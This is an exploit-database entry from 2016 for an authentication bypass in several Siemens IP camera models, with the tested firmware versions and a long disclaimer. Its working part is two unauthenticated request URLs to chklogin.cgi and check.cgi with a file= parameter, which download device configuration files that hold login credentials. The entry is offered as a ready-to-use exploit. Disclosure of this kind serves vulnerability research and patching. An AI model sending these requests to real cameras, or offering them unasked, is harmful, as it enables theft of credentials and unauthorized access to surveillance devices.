发布 2016-08-19 漏洞条目

SIEMENS IP Cameras (Multiple Models) – Credential Disclosure / Configuration Download

Exploit Source

# Multiple SIEMENS IP Cameras auth bypass configuration download

# Tested:

# SIEMENS IP Camera CCID1410-ST X.1.0.24

# SIEMENS IP Camera CCMW1025 x.2.2.1798

# SIEMENS IP Camera CCMS2025 x.2.2.1798

# SIEMENS IP Camera CVMS2025-IR x.2.2.1798

# SIEMENS IP Camera CVMS2025-IR CxMS2025_V2458

# SIEMENS IP Camera CVMS2025-IR CxMS2025_V2458_SP1

# SIEMENS IP Camera CCPW5025-IR CCPWx025_V0.1.58

# ...and more, more devices who use same firmware

# http://www.ethical-hacker.org/

# https://www.facebook.com/ethicalhackerorg

# Disclaimer:

# This or previous programs is for Educational

# purpose ONLY. Do not use it without permission.

# The usual disclaimer applies, especially the

# fact that Todor Donev is not liable for any

# damages caused by direct or indirect use of the

# information or functionality provided by these

# programs. The author or any Internet provider

# bears NO responsibility for content or misuse

# of these programs or any derivatives thereof.

# By using these programs you accept the fact

# that any damage (dataloss, system crash,

# system compromise, etc.) caused by the use

# of these programs is not Todor Donev's

# responsibility.

# Use them at your own risk!

http://TARGET/cgi-bin/chklogin.cgi?file=config.ini

http://TARGET/cgi-bin/check.cgi?file=ikwd03conf.ini

相关漏洞条目